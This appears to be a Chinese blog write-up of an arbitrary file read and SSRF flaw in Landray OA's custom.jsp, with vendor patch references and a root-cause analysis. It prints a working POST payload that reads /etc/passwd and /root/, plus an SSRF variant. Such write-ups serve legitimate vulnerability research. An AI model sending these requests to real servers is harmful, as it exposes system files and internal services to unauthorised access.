蓝凌 OA custom.jsp 任意文件读取

  1. 漏洞编号
  2. 请求
  3. JSP
  4. 参考

漏洞编号

网上部分复现把任意文件读取标为 CNVD-2021-28277。蓝凌安全中心的公告对应关系为:

CNVD-2021-37311
问题:获取敏感信息,读取配置文件登录后台
安全补丁:#136341
修复:任意文件读取漏洞

CNVD-2021-28277 对应的是任意用户密码重置和 ObjectXML 反序列化问题,不是该文件读取入口。

请求

入口:

/sys/ui/extend/varkind/custom.jsp

未带完整参数时的操作失败响应

读取 /etc/passwd

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close

var={"body":{"file":"file:///etc/passwd"}}

响应正文直接返回文件内容:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

读取 /etc/passwd,请求 Cookie 已打码

file:///root/ 返回目录条目,说明该入口不只读取普通文件。

读取 /root/ 目录,请求 Cookie 已打码

JSP

通过同一入口读取到的 custom.jsp 核心代码:

<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
    JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
    JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
    <c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

body.file 未经过协议和路径限制,直接进入 JSTL c:importurl 属性。

c:import 支持绝对 URL。把 file 换成测试 HTTP 地址后,服务器会发起请求并把响应内容返回,因此同一入口同时具备 SSRF 能力:

var={"body":{"file":"http://127.0.0.1:8080/health"}}

截图中的会话 Cookie 和目标地址已打码。

参考

蓝凌安全中心

JSTL c:import

JSTL c:param


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:蓝凌 OA custom.jsp 任意文件读取

字数:402

本文作者:

发布时间:2022-11-27, 03:48:00

最后更新:2026-08-26, 14:57:00

原始链接:https://cnlnn.pages.dev/posts/landray-custom-jsp-file-read/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。